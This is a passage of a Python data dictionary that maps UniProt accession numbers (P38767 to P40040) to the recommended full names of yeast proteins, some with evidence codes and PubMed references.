'P38767' : ntuniprot(RecName_Full='Ethionine resistance-conferring protein 1'),
'P38768' : ntuniprot(RecName_Full='Protein interacting with Hsp90 1'),
'P38769' : ntuniprot(RecName_Full='Uncharacterized protein YHR035W'),
'P38770' : ntuniprot(RecName_Full='Nucleus export protein BRL1'),
'P38771' : ntuniprot(RecName_Full='Ribosome-recycling factor, mitochondrial'),
'P38772' : ntuniprot(RecName_Full='Box C/D snoRNA protein 1'),
'P38773' : ntuniprot(RecName_Full='2-deoxyglucose-6-phosphate phosphatase 2'),
'P38774' : ntuniprot(RecName_Full='2-deoxyglucose-6-phosphate phosphatase 1'),
'P38775' : ntuniprot(RecName_Full='Putative uncharacterized protein YHR045W'),
'P38776' : ntuniprot(RecName_Full='Probable drug/proton antiporter YHK8'),
'P38777' : ntuniprot(RecName_Full='Family of serine hydrolases 1'),
'P38778' : ntuniprot(RecName_Full='Manganese transporter SMF2'),
'P38779' : ntuniprot(RecName_Full='Proteasome-interacting protein CIC1'),
'P38780' : ntuniprot(RecName_Full='Uncharacterized protein YHR054C'),
'P38781' : ntuniprot(RecName_Full='Chromatin structure-remodeling complex protein RSC30'),
'P38782' : ntuniprot(RecName_Full='Mediator of RNA polymerase II transcription subunit 6'),
'P38783' : ntuniprot(RecName_Full='Protein FYV4, mitochondrial'),
'P38784' : ntuniprot(RecName_Full='Vacuolar ATPase assembly protein VMA22'),
'P38785' : ntuniprot(RecName_Full='GTPase-interacting component 1'),
'P38786' : ntuniprot(RecName_Full='Ribonuclease P/MRP protein subunit RPP1'),
'P38787' : ntuniprot(RecName_Full='2-dehydropantoate 2-reductase'),
'P38788' : ntuniprot(RecName_Full='Ribosome-associated complex subunit SSZ1'),
'P38789' : ntuniprot(RecName_Full='Ribosome biogenesis protein SSF1'),
'P38790' : ntuniprot(RecName_Full='Hydroxyacyl-thioester dehydratase type 2, mitochondrial'),
'P38791' : ntuniprot(RecName_Full='Deoxyhypusine synthase'),
'P38792' : ntuniprot(RecName_Full='Exosome complex component RRP4'),
'P38793' : ntuniprot(RecName_Full='tRNA (guanine(37)-N1)-methyltransferase {ECO:0000255|HAMAP-Rule:MF_03152}'),
'P38794' : ntuniprot(RecName_Full='PHO85 cyclin-5'),
'P38795' : ntuniprot(RecName_Full='Glutamine-dependent NAD(+) synthetase'),
'P38796' : ntuniprot(RecName_Full='Protein phosphatase methylesterase 1'),
'P38797' : ntuniprot(RecName_Full='Protein phosphatase 2C homolog 7, mitochondrial'),
'P38798' : ntuniprot(RecName_Full='Nonsense-mediated mRNA decay protein 2'),
'P38799' : ntuniprot(RecName_Full='Uncharacterized protein YHR078W'),
'P38800' : ntuniprot(RecName_Full='Membrane-anchored lipid-binding protein LAM4 {ECO:0000303|PubMed:26001273}'),
'P38801' : ntuniprot(RecName_Full='Exosome complex protein LRP1'),
'P38803' : ntuniprot(RecName_Full='Pre-rRNA-processing protein IPI1'),
'P38804' : ntuniprot(RecName_Full='Restriction of telomere capping protein 3'),
'P38805' : ntuniprot(RecName_Full='Ribosome production factor 1'),
'P38806' : ntuniprot(RecName_Full='Chromatin modification-related protein YNG2'),
'P38809' : ntuniprot(RecName_Full='Uncharacterized protein YHR097C'),
'P38810' : ntuniprot(RecName_Full='SED5-binding protein 3'),
'P38811' : ntuniprot(RecName_Full='Transcription-associated protein 1'),
'P38812' : ntuniprot(RecName_Full='Phosphatidylglycerophosphatase GEP4, mitochondrial'),
'P38813' : ntuniprot(RecName_Full='Protein BIG1'),
'P38814' : ntuniprot(RecName_Full='Protein SBE22'),
'P38815' : ntuniprot(RecName_Full='PX domain-containing protein YPT35'),
'P38816' : ntuniprot(RecName_Full='Thioredoxin reductase 2, mitochondrial'),
'P38817' : ntuniprot(RecName_Full='ADP-ribosylation factor-binding protein GGA2'),
'P38818' : ntuniprot(RecName_Full='Cytochrome c lysine N-methyltransferase 1'),
'P38819' : ntuniprot(RecName_Full='Protein ERP5'),
'P38820' : ntuniprot(RecName_Full='Adenylyltransferase and sulfurtransferase UBA4 {ECO:0000255|HAMAP-Rule:MF_03049}'),
'P38821' : ntuniprot(RecName_Full='Aspartyl aminopeptidase 4'),
'P38822' : ntuniprot(RecName_Full='Protein BZZ1'),
'P38823' : ntuniprot(RecName_Full='E3 ubiquitin-protein ligase DMA1 {ECO:0000305|PubMed:18202552}'),
'P38824' : ntuniprot(RecName_Full='Cytochrome c oxidase-assembly factor COX23, mitochondrial'),
'P38825' : ntuniprot(RecName_Full='Protein TOM71'),
'P38826' : ntuniprot(RecName_Full='Origin recognition complex subunit 6'),
'P38827' : ntuniprot(RecName_Full='Histone-lysine N-methyltransferase, H3 lysine-4 specific'),
'P38828' : ntuniprot(RecName_Full='Protein LSM12'),
'P38829' : ntuniprot(RecName_Full='MIP18 family protein YHR122W'),
'P38830' : ntuniprot(RecName_Full='Meiosis-specific transcription factor NDT80'),
'P38832' : ntuniprot(RecName_Full='Probable GPI-anchored protein ANS1'),
'P38833' : ntuniprot(RecName_Full='Uncharacterized protein YHR127W'),
'P38835' : ntuniprot(RecName_Full='PH domain-containing protein YHR131C'),
'P38836' : ntuniprot(RecName_Full='Putative metallocarboxypeptidase ECM14'),
'P38837' : ntuniprot(RecName_Full='Protein NSG1'),
'P38838' : ntuniprot(RecName_Full='DNA-dependent metalloprotease WSS1'),
'P38839' : ntuniprot(RecName_Full='Putative cyclin-dependent kinase inhibitor SPL2'),
'P38840' : ntuniprot(RecName_Full='Aromatic amino acid aminotransferase 2'),
'P38841' : ntuniprot(RecName_Full='Uncharacterized protein YHR138C'),
'P38842' : ntuniprot(RecName_Full='UPF0641 membrane protein YHR140W'),
'P38843' : ntuniprot(RecName_Full='Chitin synthase export chaperone'),
'P38844' : ntuniprot(RecName_Full='Protein DSE2'),
'P38845' : ntuniprot(RecName_Full='Cruciform DNA-recognizing protein 1'),
'P38848' : ntuniprot(RecName_Full='Peroxisomal membrane protein PEX28'),
'P38849' : ntuniprot(RecName_Full='Maintenance of telomere capping protein 6'),
'P38850' : ntuniprot(RecName_Full='Regulator of Ty1 transposition protein 107'),
'P38851' : ntuniprot(RecName_Full='Membrane-anchored lipid-binding protein LAM1 {ECO:0000303|PubMed:26001273}'),
'P38852' : ntuniprot(RecName_Full='Protein LIN1'),
'P38853' : ntuniprot(RecName_Full='Kelch repeat-containing protein 1'),
'P38854' : ntuniprot(RecName_Full='Topoisomerase I damage affected protein 11'),
'P38855' : ntuniprot(RecName_Full='Peroxisomal membrane protein PEX18'),
'P38856' : ntuniprot(RecName_Full='Clathrin coat assembly protein AP180A'),
'P38857' : ntuniprot(RecName_Full='Mitochondrial pyruvate carrier 2 {ECO:0000303|PubMed:22628554, ECO:0000303|PubMed:22628558}'),
'P38858' : ntuniprot(RecName_Full='6-phosphogluconolactonase 3'),
'P38859' : ntuniprot(RecName_Full='DNA replication ATP-dependent helicase/nuclease DNA2'),
'P38860' : ntuniprot(RecName_Full='GTPase MTG2, mitochondrial'),
'P38861' : ntuniprot(RecName_Full='60S ribosomal export protein NMD3'),
'P38862' : ntuniprot(RecName_Full='Ubiquitin-like modifier-activating enzyme ATG7'),
'P38863' : ntuniprot(RecName_Full='Spindle pole body component SPC97'),
'P38864' : ntuniprot(RecName_Full='Uncharacterized protein YHR173C'),
'P38865' : ntuniprot(RecName_Full='Copper transport protein CTR2'),
'P38866' : ntuniprot(RecName_Full='Thiol-specific monooxygenase'),
'P38867' : ntuniprot(RecName_Full='Uncharacterized protein YHR177W'),
'P38869' : ntuniprot(RecName_Full='Protein SVP26'),
'P38870' : ntuniprot(RecName_Full='Uncharacterized protein YHR182W'),
'P38871' : ntuniprot(RecName_Full='Sporulation-specific protein 1'),
'P38872' : ntuniprot(RecName_Full='Prospore formation at selected spindle poles protein 1'),
'P38873' : ntuniprot(RecName_Full='Target of rapamycin complex 1 subunit KOG1'),
'P38874' : ntuniprot(RecName_Full='Elongator complex protein 5'),
'P38875' : ntuniprot(RecName_Full='GPI transamidase component GPI16'),
'P38876' : ntuniprot(RecName_Full='Peptidyl-tRNA hydrolase'),
'P38877' : ntuniprot(RecName_Full='Chromosome transmission fidelity protein 8'),
'P38878' : ntuniprot(RecName_Full='Endoplasmic reticulum junction formation protein lunapark {ECO:0000305}'),
'P38879' : ntuniprot(RecName_Full='Nascent polypeptide-associated complex subunit alpha'),
'P38880' : ntuniprot(RecName_Full='Mitochondrial distribution and morphology protein 31'),
'P38881' : ntuniprot(RecName_Full='Nucleus-vacuole junction protein 1'),
'P38882' : ntuniprot(RecName_Full='U3 small nucleolar RNA-associated protein 9'),
'P38883' : ntuniprot(RecName_Full='Pre-rRNA-processing protein RIX1'),
'P38884' : ntuniprot(RecName_Full='Altered inheritance of mitochondria protein 18, mitochondrial'),
'P38885' : ntuniprot(RecName_Full='Altered inheritance of mitochondria protein 46, mitochondrial'),
'P38886' : ntuniprot(RecName_Full='26S proteasome regulatory subunit RPN10'),
'P38887' : ntuniprot(RecName_Full='Uncharacterized protein YHR202W'),
'P38888' : ntuniprot(RecName_Full='ER degradation-enhancing alpha-mannosidase-like protein 1'),
'P38889' : ntuniprot(RecName_Full='Transcription factor SKN7'),
'P38890' : ntuniprot(RecName_Full='Putative protein lysine methyltransferase SET5'),
'P38891' : ntuniprot(RecName_Full='Branched-chain-amino-acid aminotransferase, mitochondrial'),
'P38892' : ntuniprot(RecName_Full='Probable S-adenosylmethionine-dependent methyltransferase CRG1'),
'P38893' : ntuniprot(RecName_Full='Uncharacterized isomerase YHR210C'),
'P38894' : ntuniprot(RecName_Full='Flocculation protein FLO5'),
'P38899' : ntuniprot(RecName_Full='Uncharacterized protein YHR218W'),
'P38900' : ntuniprot(RecName_Full='Putative uncharacterized protein YHR219W'),
'P38902' : ntuniprot(RecName_Full='DNA-directed RNA polymerase II subunit RPB11'),
'P38903' : ntuniprot(RecName_Full='Serine/threonine-protein phosphatase 2A 56 kDa regulatory subunit delta isoform'),
'P38904' : ntuniprot(RecName_Full='Protein SPP41'),
'P38907' : ntuniprot(RecName_Full='Inner kinetochore subunit CHL4 {ECO:0000305}'),
'P38909' : ntuniprot(RecName_Full='Cytochrome c mitochondrial import factor CYC2'),
'P38910' : ntuniprot(RecName_Full='10 kDa heat shock protein, mitochondrial'),
'P38911' : ntuniprot(RecName_Full='FK506-binding nuclear protein'),
'P38912' : ntuniprot(RecName_Full='Eukaryotic translation initiation factor 1A'),
'P38913' : ntuniprot(RecName_Full='FAD synthase'),
'P38915' : ntuniprot(RecName_Full='Transcription factor SPT8'),
'P38920' : ntuniprot(RecName_Full='DNA mismatch repair protein MLH1'),
'P38921' : ntuniprot(RecName_Full='Putative mitochondrial carrier protein PET8'),
'P38922' : ntuniprot(RecName_Full='Protein HRB1'),
'P38925' : ntuniprot(RecName_Full='Manganese transporter SMF1'),
'P38927' : ntuniprot(RecName_Full='DNA polymerase zeta processivity subunit'),
'P38928' : ntuniprot(RecName_Full='Axial budding pattern protein 2'),
'P38929' : ntuniprot(RecName_Full='Calcium-transporting ATPase 2'),
'P38930' : ntuniprot(RecName_Full="Casein kinase II subunit beta'"),
'P38931' : ntuniprot(RecName_Full='Mediator of RNA polymerase II transcription subunit 13'),
'P38932' : ntuniprot(RecName_Full='Vacuolar protein sorting-associated protein 45'),
'P38934' : ntuniprot(RecName_Full='Nuclear segregation protein BFR1'),
'P38953' : ntuniprot(RecName_Full='DNA repair protein RAD55'),
'P38954' : ntuniprot(RecName_Full='Inositolphosphotransferase 1'),
'P38956' : ntuniprot(RecName_Full='Transcription regulatory protein SNF11'),
'P38957' : ntuniprot(RecName_Full='Suppressor of hydroxyurea sensitivity protein 2'),
'P38958' : ntuniprot(RecName_Full='Protein PET100, mitochondrial'),
'P38959' : ntuniprot(RecName_Full='Vacuolar protein sorting-associated protein 41'),
'P38960' : ntuniprot(RecName_Full='Protein STN1'),
'P38961' : ntuniprot(RecName_Full='25S rRNA (adenine(645)-N(1))-methyltransferase'),
'P38962' : ntuniprot(RecName_Full='Golgi apparatus membrane protein TVP23'),
'P38966' : ntuniprot(RecName_Full='Uncharacterized protein YDR089W'),
'P38967' : ntuniprot(RecName_Full='Tryptophan permease'),
'P38968' : ntuniprot(RecName_Full='Protein transport protein SEC31'),
'P38969' : ntuniprot(RecName_Full='Pentamidine resistance factor, mitochondrial'),
'P38970' : ntuniprot(RecName_Full='Serine/threonine-protein kinase HAL5'),
'P38971' : ntuniprot(RecName_Full='Basic amino-acid permease'),
'P38972' : ntuniprot(RecName_Full='Phosphoribosylformylglycinamidine synthase'),
'P38985' : ntuniprot(RecName_Full='Signal recognition particle subunit SRP14'),
'P38986' : ntuniprot(RecName_Full='L-asparaginase 1'),
'P38987' : ntuniprot(RecName_Full='Protein TEM1'),
'P38988' : ntuniprot(RecName_Full='Mitochondrial GTP/GDP carrier protein 1'),
'P38989' : ntuniprot(RecName_Full='Structural maintenance of chromosomes protein 2'),
'P38990' : ntuniprot(RecName_Full='SNF1-activating kinase 1'),
'P38991' : ntuniprot(RecName_Full='Spindle assembly checkpoint kinase'),
'P38992' : ntuniprot(RecName_Full='Sphingolipid C4-hydroxylase SUR2'),
'P38993' : ntuniprot(RecName_Full='Iron transport multicopper oxidase FET3'),
'P38994' : ntuniprot(RecName_Full='Probable phosphatidylinositol 4-phosphate 5-kinase MSS4'),
'P38995' : ntuniprot(RecName_Full='Copper-transporting ATPase'),
'P38996' : ntuniprot(RecName_Full='Nuclear polyadenylated RNA-binding protein 3'),
'P38998' : ntuniprot(RecName_Full='Saccharopine dehydrogenase [NAD(+), L-lysine-forming]'),
'P38999' : ntuniprot(RecName_Full='Saccharopine dehydrogenase [NADP(+), L-glutamate-forming]'),
'P39000' : ntuniprot(RecName_Full='Protein SHC1'),
'P39001' : ntuniprot(RecName_Full='Transcriptional regulatory protein UME6'),
'P39002' : ntuniprot(RecName_Full='Long-chain-fatty-acid--CoA ligase 3'),
'P39003' : ntuniprot(RecName_Full='High-affinity hexose transporter HXT6'),
'P39004' : ntuniprot(RecName_Full='High-affinity hexose transporter HXT7'),
'P39005' : ntuniprot(RecName_Full='Cell wall synthesis protein KRE9'),
'P39006' : ntuniprot(RecName_Full='Phosphatidylserine decarboxylase proenzyme 1, mitochondrial {ECO:0000255|HAMAP-Rule:MF_03208, ECO:0000305|PubMed:8227017}'),
'P39007' : ntuniprot(RecName_Full='Dolichyl-diphosphooligosaccharide--protein glycosyltransferase subunit STT3'),
'P39008' : ntuniprot(RecName_Full='Poly(A) ribonuclease POP2'),
'P39009' : ntuniprot(RecName_Full='DNA damage response protein kinase DUN1'),
'P39010' : ntuniprot(RecName_Full='Palmitoyltransferase AKR1'),
'P39011' : ntuniprot(RecName_Full='Bud emergence protein 4'),
'P39012' : ntuniprot(RecName_Full='GPI transamidase component GAA1'),
'P39013' : ntuniprot(RecName_Full='Actin cytoskeleton-regulatory complex protein END3'),
'P39014' : ntuniprot(RecName_Full='F-box protein MET30'),
'P39015' : ntuniprot(RecName_Full='Suppressor protein STM1'),
'P39016' : ntuniprot(RecName_Full='Suppressor protein MPT5'),
'P39073' : ntuniprot(RecName_Full='Meiotic mRNA stability protein kinase SSN3'),
'P39076' : ntuniprot(RecName_Full='T-complex protein 1 subunit beta'),
'P39077' : ntuniprot(RecName_Full='T-complex protein 1 subunit gamma'),
'P39078' : ntuniprot(RecName_Full='T-complex protein 1 subunit delta'),
'P39079' : ntuniprot(RecName_Full='T-complex protein 1 subunit zeta'),
'P39081' : ntuniprot(RecName_Full='Protein PCF11'),
'P39083' : ntuniprot(RecName_Full='Rho-type GTPase-activating protein 1'),
'P39101' : ntuniprot(RecName_Full='Protein CAJ1'),
'P39102' : ntuniprot(RecName_Full='DnaJ protein homolog XDJ1'),
'P39103' : ntuniprot(RecName_Full='Cytochrome c oxidase assembly protein COX14'),
'P39104' : ntuniprot(RecName_Full='Phosphatidylinositol 4-kinase PIK1'),
'P39105' : ntuniprot(RecName_Full='Lysophospholipase 1 {ECO:0000303|PubMed:8051052}'),
'P39106' : ntuniprot(RecName_Full='Alpha-1,3-mannosyltransferase MNN1'),
'P39107' : ntuniprot(RecName_Full='Mannan polymerase complexes subunit MNN9'),
'P39108' : ntuniprot(RecName_Full='Peroxisomal targeting signal 2 receptor'),
'P39109' : ntuniprot(RecName_Full='Metal resistance protein YCF1'),
'P39110' : ntuniprot(RecName_Full='GTP-binding protein CIN4'),
'P39111' : ntuniprot(RecName_Full='V-type proton ATPase subunit F'),
'P39112' : ntuniprot(RecName_Full='Exoribonuclease II, mitochondrial'),
'P39113' : ntuniprot(RecName_Full='Regulatory protein CAT8'),
'P39515' : ntuniprot(RecName_Full='Mitochondrial import inner membrane translocase subunit TIM17'),
'P39516' : ntuniprot(RecName_Full='40S ribosomal protein S14-B {ECO:0000303|PubMed:9559554}'),
'P39517' : ntuniprot(RecName_Full='ATP-dependent RNA helicase DHH1 {ECO:0000305}'),
'P39518' : ntuniprot(RecName_Full='Long-chain-fatty-acid--CoA ligase 2'),
'P39520' : ntuniprot(RecName_Full='Protein IFH1'),
'P39521' : ntuniprot(RecName_Full='Pre-rRNA-processing protein FHL1'),
'P39522' : ntuniprot(RecName_Full='Dihydroxy-acid dehydratase, mitochondrial'),
'P39523' : ntuniprot(RecName_Full='Uncharacterized protein YMR124W'),
'P39524' : ntuniprot(RecName_Full='Probable phospholipid-transporting ATPase DRS2'),
'P39525' : ntuniprot(RecName_Full='3-oxoacyl-[acyl-carrier-protein] synthase homolog'),
'P39526' : ntuniprot(RecName_Full='AP-1 accessory protein LAA1'),
'P39529' : ntuniprot(RecName_Full='Putative transcriptional regulatory protein YJL206C'),
'P39531' : ntuniprot(RecName_Full='Recyclin-1'),
'P39533' : ntuniprot(RecName_Full='Homocitrate dehydratase, mitochondrial'),
'P39535' : ntuniprot(RecName_Full='Low-affinity phosphate transporter PHO90'),
'P39538' : ntuniprot(RecName_Full='Ubiquitin carboxyl-terminal hydrolase 12'),
'P39540' : ntuniprot(RecName_Full='Elongation of fatty acids protein 1 {ECO:0000303|PubMed:8702485}'),
'P39542' : ntuniprot(RecName_Full='Uncharacterized transporter YJL193W'),
'P39543' : ntuniprot(RecName_Full='Protein SOP4'),
'P39545' : ntuniprot(RecName_Full='Seripauperin-7'),
'P39547' : ntuniprot(RecName_Full='ULP1-interacting protein 3'),
'P39548' : ntuniprot(RecName_Full='DUP240 protein YAR028W'),
'P39549' : ntuniprot(RecName_Full='DUP240 protein YAR029W'),
'P39551' : ntuniprot(RecName_Full='Pheromone-regulated membrane protein 9'),
'P39552' : ntuniprot(RecName_Full='Multicopy suppressor of SEC21 protein 28'),
'P39563' : ntuniprot(RecName_Full='Uncharacterized protein YAR064W'),
'P39564' : ntuniprot(RecName_Full='Uncharacterized protein YAR068W'),
'P39676' : ntuniprot(RecName_Full='Flavohemoprotein'),
'P39677' : ntuniprot(RecName_Full='Ribosome-releasing factor 2, mitochondrial {ECO:0000255|HAMAP-Rule:MF_03059}'),
'P39678' : ntuniprot(RecName_Full='Transcription factor MBP1'),
'P39682' : ntuniprot(RecName_Full='Pre-mRNA-processing factor 39'),
'P39683' : ntuniprot(RecName_Full='Nicotinate phosphoribosyltransferase'),
'P39684' : ntuniprot(RecName_Full='Protein PES4'),
'P39685' : ntuniprot(RecName_Full='Nucleoporin POM152'),
'P39692' : ntuniprot(RecName_Full='Sulfite reductase [NADPH] flavoprotein component'),
'P39702' : ntuniprot(RecName_Full='Vacuolar protein sorting-associated protein 8'),
'P39704' : ntuniprot(RecName_Full='Protein ERP2'),
'P39705' : ntuniprot(RecName_Full='Nucleoporin NUP60'),
'P39706' : ntuniprot(RecName_Full='COMPASS component SWD1'),
'P39707' : ntuniprot(RecName_Full='tRNA-splicing endonuclease subunit SEN34'),
'P39708' : ntuniprot(RecName_Full='NADP-specific glutamate dehydrogenase 2'),
'P39709' : ntuniprot(RecName_Full='Probable transporter SEO1'),
'P39711' : ntuniprot(RecName_Full='Putative uncharacterized protein YAL064W'),
'P39712' : ntuniprot(RecName_Full='Flocculation protein FLO9'),
'P39713' : ntuniprot(RecName_Full='Probable diacetyl reductase [(R)-acetoin forming] 2'),
'P39714' : ntuniprot(RecName_Full='(R,R)-butanediol dehydrogenase'),
'P39715' : ntuniprot(RecName_Full='Shuttling pre-60S factor ECM1'),
'P39717' : ntuniprot(RecName_Full='Guanine nucleotide-binding protein subunit beta 2'),
'P39718' : ntuniprot(RecName_Full='Peroxisome assembly protein 22'),
'P39719' : ntuniprot(RecName_Full='Flavin carrier protein 2'),
'P39720' : ntuniprot(RecName_Full='Oleate-activated transcription factor 1'),
'P39721' : ntuniprot(RecName_Full='Protein AIM2'),
'P39722' : ntuniprot(RecName_Full='Mitochondrial Rho GTPase 1'),
'P39723' : ntuniprot(RecName_Full='Spindle pole component SPC72'),
'P39724' : ntuniprot(RecName_Full='BolA-like protein 3 {ECO:0000305}'),
'P39726' : ntuniprot(RecName_Full='Glycine cleavage system H protein, mitochondrial'),
'P39727' : ntuniprot(RecName_Full='ER-derived vesicles protein ERV46'),
'P39728' : ntuniprot(RecName_Full='Uncharacterized protein YAL037W'),
'P39729' : ntuniprot(RecName_Full='Ribosome-interacting GTPase 1'),
'P39730' : ntuniprot(RecName_Full='Eukaryotic translation initiation factor 5B {ECO:0000305|PubMed:12507428}'),
'P39731' : ntuniprot(RecName_Full='Kinetochore-associated protein MTW1'),
'P39732' : ntuniprot(RecName_Full='GLC7-interacting protein 4'),
'P39734' : ntuniprot(RecName_Full='Protein HPH2'),
'P39735' : ntuniprot(RecName_Full='Single-strand annealing weakened protein 1'),
'P39742' : ntuniprot(RecName_Full='Translocation protein SEC72'),
'P39743' : ntuniprot(RecName_Full='Reduced viability upon starvation protein 167'),
'P39744' : ntuniprot(RecName_Full='Nucleolar complex protein 2'),
'P39875' : ntuniprot(RecName_Full='Exodeoxyribonuclease 1'),
'P39904' : ntuniprot(RecName_Full='Vacuolar protein sorting-associated protein 52'),
'P39923' : ntuniprot(RecName_Full='Nitrogen permease regulator 2'),
'P39924' : ntuniprot(RecName_Full='Hexose transporter HXT13'),
'P39925' : ntuniprot(RecName_Full='Mitochondrial respiratory chain complexes assembly protein AFG3'),
'P39926' : ntuniprot(RecName_Full='Protein SSO2'),
'P39927' : ntuniprot(RecName_Full='Protein PTI1'),
'P39928' : ntuniprot(RecName_Full='Osmosensing histidine protein kinase SLN1'),
'P39929' : ntuniprot(RecName_Full='Vacuolar-sorting protein SNF7 {ECO:0000305}'),
'P39931' : ntuniprot(RecName_Full='Protein SSP120'),
'P39932' : ntuniprot(RecName_Full='Sugar transporter STL1'),
'P39933' : ntuniprot(RecName_Full='Transcription factor IIIA'),
'P39935' : ntuniprot(RecName_Full='Eukaryotic initiation factor 4F subunit p150'),
'P39936' : ntuniprot(RecName_Full='Eukaryotic initiation factor 4F subunit p130'),
'P39937' : ntuniprot(RecName_Full='Protein PAC2'),
'P39938' : ntuniprot(RecName_Full='40S ribosomal protein S26-A {ECO:0000303|PubMed:9559554}'),
'P39939' : ntuniprot(RecName_Full='40S ribosomal protein S26-B {ECO:0000303|PubMed:9559554}'),
'P39940' : ntuniprot(RecName_Full='E3 ubiquitin-protein ligase RSP5'),
'P39943' : ntuniprot(RecName_Full='Transcription corepressor MIG3'),
'P39944' : ntuniprot(RecName_Full='Ubiquitin carboxyl-terminal hydrolase 5'),
'P39945' : ntuniprot(RecName_Full='Protein AST2'),
'P39946' : ntuniprot(RecName_Full='Nuclear distribution protein PAC1 {ECO:0000255|HAMAP-Rule:MF_03141}'),
'P39952' : ntuniprot(RecName_Full='Mitochondrial inner membrane protein OXA1 {ECO:0000305}'),
'P39953' : ntuniprot(RecName_Full='Mitochondrial nicotinamide adenine dinucleotide transporter 2'),
'P39954' : ntuniprot(RecName_Full='Adenosylhomocysteinase'),
'P39955' : ntuniprot(RecName_Full='Protein SAP1'),
'P39956' : ntuniprot(RecName_Full='DNA damage-responsive transcriptional repressor RPH1'),
'P39958' : ntuniprot(RecName_Full='Rab GDP-dissociation inhibitor'),
'P39959' : ntuniprot(RecName_Full='Zinc finger protein YER130C'),
'P39960' : ntuniprot(RecName_Full='GTPase-activating protein BEM2/IPL2'),
'P39961' : ntuniprot(RecName_Full='Uncharacterized transcriptional regulatory protein YER184C'),
'P39962' : ntuniprot(RecName_Full='Casein kinase I homolog 3'),
'P39965' : ntuniprot(RecName_Full='Probable proline--tRNA ligase, mitochondrial'),
'P39966' : ntuniprot(RecName_Full='Protein phosphatase 2C homolog 2'),
'P39967' : ntuniprot(RecName_Full='Ubiquitin carboxyl-terminal hydrolase 9'),
'P39968' : ntuniprot(RecName_Full='Vacuolar protein 8'),
'P39969' : ntuniprot(RecName_Full='Protein BOI2'),
'P39970' : ntuniprot(RecName_Full='ATF/CREB activator 1'),
'P39971' : ntuniprot(RecName_Full='Uncharacterized protein YEL076C'),
'P39972' : ntuniprot(RecName_Full='Uncharacterized protein YEL075C'),
'P39974' : ntuniprot(RecName_Full='Uncharacterized protein YEL073C'),
'P39975' : ntuniprot(RecName_Full='Sporulation protein RMD6'),
'P39976' : ntuniprot(RecName_Full='D-2-hydroxyglutarate--pyruvate transhydrogenase DLD3 {ECO:0000305}'),
'P39977' : ntuniprot(RecName_Full='Uncharacterized protein YEL068C'),
'P39978' : ntuniprot(RecName_Full='Uncharacterized protein YEL067C'),
'P39979' : ntuniprot(RecName_Full='D-amino-acid N-acetyltransferase HPA3 {ECO:0000303|PubMed:15375647}'),
'P39980' : ntuniprot(RecName_Full='Siderophore iron transporter 1'),
'P39981' : ntuniprot(RecName_Full='Vacuolar amino acid transporter 2'),
'P39983' : ntuniprot(RecName_Full='Uncharacterized protein YEL057C'),
'P39984' : ntuniprot(RecName_Full='Histone acetyltransferase type B subunit 2'),
'P39985' : ntuniprot(RecName_Full='rDNA transcriptional regulator POL5'),
'P39986' : ntuniprot(RecName_Full='Manganese-transporting ATPase 1'),
'P39987' : ntuniprot(RecName_Full='Heat shock protein SSC3, mitochondrial'),
'P39988' : ntuniprot(RecName_Full='Putative pyridoxal kinase BUD16'),
'P39990' : ntuniprot(RecName_Full='13 kDa ribonucleoprotein-associated protein'),
'P39991' : ntuniprot(RecName_Full='Uncharacterized protein YEL025C'),
'P39992' : ntuniprot(RecName_Full='Uncharacterized protein YEL023C'),
'P39993' : ntuniprot(RecName_Full='ARF guanine-nucleotide exchange factor 2'),
'P39994' : ntuniprot(RecName_Full='Putative 2-hydroxyacyl-CoA lyase'),
'P39995' : ntuniprot(RecName_Full='Chromatin modification-related protein EAF5'),
'P39996' : ntuniprot(RecName_Full='Glutathione transferase 3'),
'P39997' : ntuniprot(RecName_Full='Ectonucleotide pyrophosphatase/phosphodiesterase 2'),
'P39998' : ntuniprot(RecName_Full='Enhancer of mRNA-decapping protein 3'),
'P40002' : ntuniprot(RecName_Full='Transcriptional regulator MIT1'),
'P40003' : ntuniprot(RecName_Full='Biogenesis of lysosome-related organelles complex 1 subunit VAB2'),
'P40004' : ntuniprot(RecName_Full='UDP-N-acetylglucosamine transporter YEA4'),
'P40005' : ntuniprot(RecName_Full='Prefoldin subunit 2'),
'P40006' : ntuniprot(RecName_Full='Increased recombination centers protein 22'),
'P40007' : ntuniprot(RecName_Full='Nucleolar protein 16'),
'P40008' : ntuniprot(RecName_Full='Protein FMP52, mitochondrial'),
'P40009' : ntuniprot(RecName_Full='Golgi apyrase'),
'P40010' : ntuniprot(RecName_Full='Nuclear GTP-binding protein NUG1'),
'P40011' : ntuniprot(RecName_Full='4-hydroxy-4-methyl-2-oxoglutarate aldolase'),
'P40012' : ntuniprot(RecName_Full='Protoporphyrinogen oxidase'),
'P40013' : ntuniprot(RecName_Full='Protein BIM1'),
'P40014' : ntuniprot(RecName_Full='Kinetochore protein SPC25'),
'P40015' : ntuniprot(RecName_Full='Inositol phosphosphingolipids phospholipase C'),
'P40016' : ntuniprot(RecName_Full='26S proteasome regulatory subunit RPN3'),
'P40017' : ntuniprot(RecName_Full='Carnitine O-acetyltransferase YAT2'),
'P40018' : ntuniprot(RecName_Full='Small nuclear ribonucleoprotein-associated protein B'),
'P40019' : ntuniprot(RecName_Full='Histone H2A.Z-specific chaperone CHZ1'),
'P40020' : ntuniprot(RecName_Full='Factor interacting with REF2'),
'P40021' : ntuniprot(RecName_Full='Zinc-regulated protein 8'),
'P40022' : ntuniprot(RecName_Full='Uncharacterized protein YER034W'),
'P40023' : ntuniprot(RecName_Full='Enhancer of mRNA-decapping protein 2'),
'P40024' : ntuniprot(RecName_Full='ABC transporter ATP-binding protein ARB1'),
'P40025' : ntuniprot(RecName_Full='Phosphate metabolism protein 8'),
'P40026' : ntuniprot(RecName_Full='DNA repair protein KRE29'),
'P40028' : ntuniprot(RecName_Full='Holliday junction resolvase YEN1'),
'P40029' : ntuniprot(RecName_Full='Peptide methionine sulfoxide reductase'),
'P40030' : ntuniprot(RecName_Full='Ergosterol biosynthetic protein 28'),
'P40031' : ntuniprot(RecName_Full='Sporulation-specific protein 73'),
'P40032' : ntuniprot(RecName_Full='Prolyl 3,4-dihydroxylase TPA1 {ECO:0000303|PubMed:16809762}'),
'P40033' : ntuniprot(RecName_Full='37S ribosomal protein RSM18, mitochondrial'),
'P40034' : ntuniprot(RecName_Full='JmjC domain-containing histone demethylation protein 1'),
'P40035' : ntuniprot(RecName_Full='Mitochondrial phosphate carrier protein 2'),
'P40036' : ntuniprot(RecName_Full='GLC7-interacting protein 2'),
'P40037' : ntuniprot(RecName_Full='Protein HMF1'),
'P40038' : ntuniprot(RecName_Full='PHO85 cyclin-6'),
'P40039' : ntuniprot(RecName_Full='Purine-cytosine permease FCY21'),
'P40040' : ntuniprot(RecName_Full='Protein THO1'),
